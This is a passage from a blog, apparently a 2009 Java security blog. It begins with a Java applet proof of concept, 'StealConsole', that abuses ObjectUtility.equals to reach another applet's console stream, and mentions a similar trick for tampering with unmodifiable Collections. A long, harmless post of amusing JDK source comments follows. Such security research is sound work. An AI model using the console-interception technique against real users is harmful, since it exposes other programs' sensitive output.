java.io.PrintStream;<br /><SPAN CLASS="nb">007</SPAN> <br /><SPAN CLASS="nb">008</SPAN> </SPAN><SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> com.sun.corba.se.impl.orbutil.ObjectUtility;<br /><SPAN CLASS="nb">009</SPAN> <br /><SPAN CLASS="nb">010</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN STYLE="bl"> StealConsole </SPAN><SPAN CLASS="kw">extends</SPAN><SPAN STYLE="bl"> Applet {<br /><SPAN CLASS="nb">011</SPAN> <br /><SPAN CLASS="nb">012</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> start() {<br /><SPAN CLASS="nb">013</SPAN> PrintStream syso = System.</SPAN><SPAN CLASS="st">out</SPAN>;<br /><SPAN CLASS="nb">014</SPAN> PrintStream stealer = <SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> PrintStream(</SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> OutputStream() {<br /><SPAN CLASS="nb">015</SPAN> <br /><SPAN CLASS="nb">016</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> write(</SPAN><SPAN CLASS="kw">int</SPAN><SPAN STYLE="bl"> b) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN STYLE="bl"> IOException {<br /><SPAN CLASS="nb">017</SPAN> }<br /><SPAN CLASS="nb">018</SPAN> <br /><SPAN CLASS="nb">019</SPAN> <br /><SPAN CLASS="nb">020</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">boolean</SPAN><SPAN STYLE="bl"> equals(Object obj) {<br /><SPAN CLASS="nb">021</SPAN> System.out.println(</SPAN><SPAN CLASS="st">"Stole: "</SPAN><SPAN STYLE="bl"> + obj.getClass());<br /><SPAN CLASS="nb">022</SPAN> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">super</SPAN><SPAN STYLE="bl">.equals(obj);<br /><SPAN CLASS="nb">023</SPAN> }<br /><SPAN CLASS="nb">024</SPAN> }, false);<br /><SPAN CLASS="nb">025</SPAN> <br /><SPAN CLASS="nb">026</SPAN> </SPAN><SPAN CLASS="kw">boolean</SPAN><SPAN STYLE="bl"> eq = ObjectUtility.equals(stealer, syso);<br /><SPAN CLASS="nb">027</SPAN> }<br /><SPAN CLASS="nb">028</SPAN> <br /><SPAN CLASS="nb">029</SPAN> }<br /></SPAN></code></div><br />So we can get our hands on the TracePrintStream object contained within the PrintStream. I did a quick PoC using this and a thread which kept polling the buffer of the TracePrintStream and on my other laptop with two processors it worked pretty good, it was an incredible CPU hog, but it intercepted everything written to the console by any applet. So if you'd happen to be running a sensitive applet at the same time in the same browser that printed sensitive data in the console it'd be a bad thing. I guess this turned out to be a rather theoretical example anyway.<br /><br />Other examples that I've tried this on with success: The Collections class has utility methods which return immutable versions of Lists, Maps and Sets. The way they work is that they keep a copy of the original list hidden away in a private field and the getter methods operate on this list and the setter methods throw exceptions. But comparing these immutable collections to malicious collections it is possible to access the collection contained within and modify it. However I couldn't find anything in the core Java where the security depended on the immutability of these collections.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com0tag:blogger.com,1999:blog-7283793710804138254.post-13221576545331515842009-08-31T00:59:00.000-07:002009-08-31T01:31:43.686-07:00Appease the serialization gods (and other interesting comments from the Java sources)<style type="text/css">.nb { color: #808080; }.bl { color: #000000; }.kw { color: #7F0055; font-weight: bold; }.st { color: #2a00ff; }.cm { color: #3f7f5f; }.jd { color: #3F5FBF; }.tg { color: #7F9FBF; font-weight: bold; }</style>And now something completely different: I've studied the Java sources quite a bit and I've learned a bunch. I've also come across some pretty funny, strange and unexpected comments. Here's my categorized compilation of the most interesting ones.<br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Funny</span><br /><br />java.math.BigDecimal:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">/* Appease the serialization gods */<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="kw">private</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN STYLE="bl"> serialVersionUID = 6108874887143696463L;<br /></SPAN></code></div><br />java.util.ArrayDeque:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="jd">/**<br /><SPAN CLASS="nb">002</SPAN> * Appease the serialization gods.<br /><SPAN CLASS="nb">003</SPAN> */<br /><SPAN CLASS="nb">004</SPAN> </SPAN><SPAN CLASS="kw">private</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN STYLE="bl"> serialVersionUID = 2340985798034038923L;<br /></SPAN></code></div><br />com.sun.corba.se.impl.naming.cosnaming.NamingContextImpl:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl"> (impl.Resolve(n[0],bth) != null)<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">// "Resistence is futile." [Borg pickup line]<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> AlreadyBound();<br /></SPAN></code></div><br />java.awt.Dialog:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// add all blockers' blockers to blockers :)<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">for</SPAN><SPAN STYLE="bl"> (</SPAN><SPAN CLASS="kw">int</SPAN><SPAN STYLE="bl"> i = 0; i < blockers.size(); i++) {<br /></SPAN></code></div><br />Animator (Demo classes):<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="jd">/**<br /><SPAN CLASS="nb">002</SPAN> * Stop the insanity, um, applet.<br /><SPAN CLASS="nb">003</SPAN> */<br /><SPAN CLASS="nb">004</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">synchronized</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> stop() {<br /><SPAN CLASS="nb">005</SPAN> engine = null;<br /><SPAN CLASS="nb">006</SPAN> animation.stopPlaying();<br /><SPAN CLASS="nb">007</SPAN> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl"> (userPause) {<br /><SPAN CLASS="nb">008</SPAN> userPause = false;<br /><SPAN CLASS="nb">009</SPAN> notify();<br /><SPAN CLASS="nb">010</SPAN> }<br /><SPAN CLASS="nb">011</SPAN> }<br /></SPAN></code></div><br />javax.swing.text.rtf.RTFGenerator:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl">String approximationForUnicode(</SPAN><SPAN CLASS="kw">char</SPAN><SPAN STYLE="bl"> ch)<br /><SPAN CLASS="nb">002</SPAN> {<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN CLASS="cm">/* TODO: Find reasonable approximations for all Unicode characters<br /><SPAN CLASS="nb">004</SPAN> in all RTF code pages... heh, heh... */<br /><SPAN CLASS="nb">005</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="st">"?"</SPAN><SPAN STYLE="bl">;<br /><SPAN CLASS="nb">006</SPAN> }<br /></SPAN></code></div><br />(Sorry, this typo is an inside joke and will only be funny to one person - you know who you are ;)<br />com.sun.corba.se.impl.oa.poa.POAImpl:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="jd">/**<br /><SPAN CLASS="nb">002</SPAN> * POAImpl is the implementation of the Portable Object Adapter. It<br /><SPAN CLASS="nb">003</SPAN> * contains an implementation of the POA interfaces specified in<br /><SPAN CLASS="nb">004</SPAN> * COBRA 2.3.1 chapter 11 (formal/99-10-07).<br /><SPAN CLASS="nb">005</SPAN> ...<br /><SPAN CLASS="nb">006</SPAN> */<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Resigned</span><br /><br />javax.swing.Timer:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// This of course implies you can get dropped events, but such is life.<br /></SPAN></code></div><br />sun.plugin2.ipc.windows.WindowsIPCFactory:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// Might as well keep this around<br /></SPAN></code></div><br />sun.media.sound.MixerSourceLine:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// ivg: Well, it does hang in some cases.<br /></SPAN></code></div><br />sun.security.x509.AVA:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl"> (!in.markSupported()) {<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">// oh well<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> true;<br /><SPAN CLASS="nb">004</SPAN> } </SPAN><SPAN CLASS="kw">else</SPAN><SPAN STYLE="bl"> {<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Informational</span><br /><br />sun.tools.java.ClassDefinition:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// Why are they called Miranda methods? Well the sentence "If the<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// class is not able to provide a method, then one will be provided<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// by the compiler" is very similar to the sentence "If you cannot<br /><SPAN CLASS="nb">004</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// afford an attorney, one will be provided by the court," -- one<br /><SPAN CLASS="nb">005</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// of the so-called "Miranda" rights in the United States.<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Frustrated</span><br /><br />javax.swing.JTabbedPane<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// REMIND(aim): this is really silly;<br /></SPAN></code></div><br />com.sun.xml.internal.bind.v2.util.DataSourceSource:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> } </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN STYLE="bl"> (IOException e) {<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">// argh<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> RuntimeException(e);<br /><SPAN CLASS="nb">004</SPAN> }<br /></SPAN></code></div><br />com.sun.org.apache.xml.internal.serialize.HTMLdtd:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">boolean</SPAN><SPAN STYLE="bl"> isURI( String tagName, String attrName )<br /><SPAN CLASS="nb">002</SPAN> {<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN CLASS="cm">// Stupid checks.<br /><SPAN CLASS="nb">004</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> ( attrName.equalsIgnoreCase( </SPAN><SPAN CLASS="st">"href"</SPAN><SPAN STYLE="bl"> ) || attrName.equalsIgnoreCase( </SPAN><SPAN CLASS="st">"src"</SPAN><SPAN STYLE="bl"> ) );<br /><SPAN CLASS="nb">005</SPAN> }<br /></SPAN></code></div><br />javax.swing.text.rtf.AbstractFilter:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// stupid signed bytes<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl"> (b < 0)<br /><SPAN CLASS="nb">003</SPAN> b += 256;<br /></SPAN></code></div><br />com.sun.org.apache.xalan.internal.xsltc.trax.TransformerHandlerImpl:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN STYLE="bl"> (TransformerException e) {<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">// What the hell are we supposed to do with this???<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> IllegalArgumentException(e.getMessage());<br /><SPAN CLASS="nb">004</SPAN> }<br /></SPAN></code></div><br />sun.misc.FloatingDecimal:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl"> ( diff != 0L ) {<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">// damn, damn, damn. q is too big.<br /></SPAN></code></div><br />sun.xml.internal.stream.writers.XMLDOMWriterImpl:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> writeEndDocument() </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN STYLE="bl"> XMLStreamException {<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">//What do you want me to do eh! :)<br /></SPAN></code></div><br />com.sun.org.apache.xml.internal.res.XMLMessages:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// Do this to keep format from crying.<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Amused</span><br /><br />sun.awt.X11.XWM:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">/*<br /><SPAN CLASS="nb">002</SPAN> * Helper function for isEnlightenment().<br /><SPAN CLASS="nb">003</SPAN> * Enlightenment uses STRING property for its comms window id. Gaaa!<br /><SPAN CLASS="nb">004</SPAN> * The property is ENLIGHTENMENT_COMMS, STRING/8 and the string format<br /><SPAN CLASS="nb">005</SPAN> * is "WINID %8x". Gee, I haven't been using scanf for *ages*... :-)<br /><SPAN CLASS="nb">006</SPAN> */<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Agressive</span><br /><br />com.sun.org.apache.xalan.internal.xslt.Process:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="jd">/** It is _much_ easier to debug under VJ++ if I can set a single breakpoint<br /><SPAN CLASS="nb">002</SPAN> * before this blows itself out of the water...<br /><SPAN CLASS="nb">003</SPAN> * (I keep checking this in, it keeps vanishing. Grr!)<br /><SPAN CLASS="nb">004</SPAN> * */<br /><SPAN CLASS="nb">005</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> doExit(String msg)<br /><SPAN CLASS="nb">006</SPAN> {<br /><SPAN CLASS="nb">007</SPAN> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> RuntimeException(msg);<br /><SPAN CLASS="nb">008</SPAN> }<br /></SPAN></code></div><br />com.sun.org.apache.xalan.internal.xsltc.dom.BitArray:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="jd">/**<br /><SPAN CLASS="nb">002</SPAN> * This method returns the Nth bit that is set in the bit array. The<br /><SPAN CLASS="nb">003</SPAN> * current position is cached in the following 4 variables and will<br /><SPAN CLASS="nb">004</SPAN> * help speed up a sequence of next() call in an index iterator. This<br /><SPAN CLASS="nb">005</SPAN> * method is a mess, but it is fast and it works, so don't fuck with it.<br /><SPAN CLASS="nb">006</SPAN> */<br /></SPAN></code></div><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Playful</span><br /><br />sun.awt.motif.MWindowPeer:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// XXX: nasty WM, foul play. spank WM author.<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> handleDestroy() {<br /></SPAN></code></div><br />DirectoryScanner (Example classes):<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// As it stands, we simply call task.execute() in the current<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// thread - brave and fearless readers may want to attempt the<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// modification ;-)<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Threatric</span><br /><br />java.util.logging.LogManager:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl"> (deathImminent) {<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">// Aaargh...<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// The VM is shutting down and our exit hook has been called.<br /><SPAN CLASS="nb">004</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// Avoid allocating global handlers.<br /><SPAN CLASS="nb">005</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl">;<br /><SPAN CLASS="nb">006</SPAN> }<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Downright Crazy</span><br /><br />javax.swing.text.rtf.MockAttributeSet:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">/* This AttributeSet is made entirely out of tofu and Ritz Crackers<br /><SPAN CLASS="nb">002</SPAN> and yet has a remarkably attribute-set-like interface! */<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN STYLE="bl"> MockAttributeSet<br /><SPAN CLASS="nb">004</SPAN> </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN STYLE="bl"> AttributeSet, MutableAttributeSet<br /></SPAN></code></div><br />(This has been featured on the dailywtf in the past)<br />com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="jd">/**<br /><SPAN CLASS="nb">002</SPAN> * As Gregor Samsa awoke one morning from uneasy dreams he found himself<br /><SPAN CLASS="nb">003</SPAN> * transformed in his bed into a gigantic insect. He was lying on his hard,<br /><SPAN CLASS="nb">004</SPAN> * as it were armour plated, back, and if he lifted his head a little he<br /><SPAN CLASS="nb">005</SPAN> * could see his big, brown belly divided into stiff, arched segments, on<br /><SPAN CLASS="nb">006</SPAN> * top of which the bed quilt could hardly keep in position and was about<br /><SPAN CLASS="nb">007</SPAN> * to slide off completely. His numerous legs, which were pitifully thin<br /><SPAN CLASS="nb">008</SPAN> * compared to the rest of his bulk, waved helplessly before his eyes.<br /><SPAN CLASS="nb">009</SPAN> * "What has happened to me<br /><SPAN CLASS="nb">010</SPAN> */<br /><SPAN CLASS="nb">011</SPAN> </SPAN><SPAN CLASS="kw">protected</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> String DEFAULT_TRANSLET_NAME = </SPAN><SPAN CLASS="st">"GregorSamsa"</SPAN><SPAN STYLE="bl">;<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Joyous</span><br /><br />com.sun.org.apache.xml.internal.serializer.utils.Messages:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> fmsg = java.text.MessageFormat.format(msg, args);<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="cm">// if we get past the line above we have create the message ... hurray!<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Sarcastic</span><br /><br />com.sun.org.apache.xpath.internal.axes.WalkerFactory:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// If we have an attribute or namespace axis that went up, then<br /><SPAN CLASS="nb">002</SPAN> // it won't find the attribute in the inverse, since the select-to-match<br /><SPAN CLASS="nb">003</SPAN> // axes are not invertable (an element is a parent of an attribute, but<br /><SPAN CLASS="nb">004</SPAN> // and attribute is not a child of an element).<br /><SPAN CLASS="nb">005</SPAN> // If we don't do the magic below, then "@*/ancestor-or-self::*" gets<br /><SPAN CLASS="nb">006</SPAN> // inverted for match to "self::*/descendant-or-self::@*/parent::node()",<br /><SPAN CLASS="nb">007</SPAN> // which obviously won't work.<br /><SPAN CLASS="nb">008</SPAN> // So we will rewrite this as:<br /><SPAN CLASS="nb">009</SPAN> // "self::*/descendant-or-self::*/attribute::*/parent::node()"<br /><SPAN CLASS="nb">010</SPAN> // Child has to be rewritten a little differently:<br /><SPAN CLASS="nb">011</SPAN> // select: "@*/parent::*"<br /><SPAN CLASS="nb">012</SPAN> // inverted match: "self::*/child::@*/parent::node()"<br /><SPAN CLASS="nb">013</SPAN> // rewrite: "self::*/attribute::*/parent::node()"<br /><SPAN CLASS="nb">014</SPAN> // Axes that go down in the select, do not have to have special treatment<br /><SPAN CLASS="nb">015</SPAN> // in the rewrite. The following inverted match will still not select<br /><SPAN CLASS="nb">016</SPAN> // anything.<br /><SPAN CLASS="nb">017</SPAN> // select: "@*/child::*"<br /><SPAN CLASS="nb">018</SPAN> // inverted match: "self::*/parent::@*/parent::node()"<br /><SPAN CLASS="nb">019</SPAN> // Lovely business, this.<br /></SPAN></code></div><br /><br /><span style="font-weight: bold; font-family: verdana;font-size:100%;" >Disgusted</span><br /><br />com.sun.tools.internal.xjc.reader.xmlschema.SimpleTypeBuilder:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// TODO: this is so dumb<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN STYLE="bl"> m.put(</SPAN><SPAN CLASS="st">"string"</SPAN><SPAN STYLE="bl">, CBuiltinLeafInfo.STRING);<br /><SPAN CLASS="nb">003</SPAN> m.put(</SPAN><SPAN CLASS="st">"anyURI"</SPAN><SPAN STYLE="bl">, CBuiltinLeafInfo.STRING);<br /><SPAN CLASS="nb">004</SPAN> m.put(</SPAN><SPAN CLASS="st">"boolean"</SPAN><SPAN STYLE="bl">, CBuiltinLeafInfo.BOOLEAN);<br /></SPAN></code></div><br />com.sun.tools.example.debug.bdi.JDIEventSource:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">//### Gross foul hackery!<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="kw">private</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> dispatchEventSet(</SPAN><SPAN CLASS="kw">final</SPAN><SPAN STYLE="bl"> AbstractEventSet es) {<br /></SPAN></code></div><br />javax.swing.tree.FixedHeightLayoutCache:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// YECK!<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> getRow() + 1 + getTotalChildCount() -<br /><SPAN CLASS="nb">003</SPAN> (childCount - index);<br /></SPAN></code></div><br />com.sun.org.apache.xpath.internal.axes.LocPathIterator:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// Yech, shouldn't have to do this. -sb<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl">(null == m_prefixResolver)<br /><SPAN CLASS="nb">003</SPAN> m_prefixResolver = xctxt.getNamespaceContext();<br /><SPAN CLASS="nb">004</SPAN> <br /><SPAN CLASS="nb">005</SPAN> ...<br /><SPAN CLASS="nb">006</SPAN> clone.m_predCount = m_predicateIndex;<br /><SPAN CLASS="nb">007</SPAN> </SPAN><SPAN CLASS="cm">// The line above used to be:<br /><SPAN CLASS="nb">008</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// clone.m_predCount = predCount - 1;<br /><SPAN CLASS="nb">009</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// ...which looks like a dumb bug to me. -sb<br /></SPAN></code></div><br />com.sun.media.sound.MixerClip:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// i don't think we should allow this in this release: too many ways to screw up!<br /><SPAN CLASS="nb">002</SPAN> /*<br /><SPAN CLASS="nb">003</SPAN> // // if we have a sample voice, update it<br /><SPAN CLASS="nb">004</SPAN> // if (id != 0) {<br /><SPAN CLASS="nb">005</SPAN> // // can throw IllegalArgumentException<br /><SPAN CLASS="nb">006</SPAN> // // <br /><SPAN CLASS="nb">007</SPAN> // nSetLoopPoints(id, (int)start, (int)end);<br /><SPAN CLASS="nb">008</SPAN> // }<br /><SPAN CLASS="nb">009</SPAN> */<br /></SPAN></code></div>...<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">/*<br /><SPAN CLASS="nb">002</SPAN> ...<br /><SPAN CLASS="nb">003</SPAN> if (Printer.err) Printer.err("Could not re-open clip in MixerClip.java.setLoopPoints!");<br /><SPAN CLASS="nb">004</SPAN> // we are screwed... re-open failed!<br /><SPAN CLASS="nb">005</SPAN> // sorry....<br /><SPAN CLASS="nb">006</SPAN> implClose();<br /><SPAN CLASS="nb">007</SPAN> ...<br /><SPAN CLASS="nb">008</SPAN> */<br /></SPAN></code></div><br />com.sun.deploy.util.VersionID:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="cm">// FIXME: this is a horrendously inefficient representation;<br /><SPAN CLASS="nb">002</SPAN> // should use an array of ints or Integers rather than re-parsing<br /><SPAN CLASS="nb">003</SPAN> // them every time<br /></SPAN></code></div><br />com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Filter:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// Horrendous kluge to run filter to completion. See below.<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl">(fNoMoreEvents)<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl">;<br /></SPAN></code></div><br />Notepad (Demo Classes):<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN 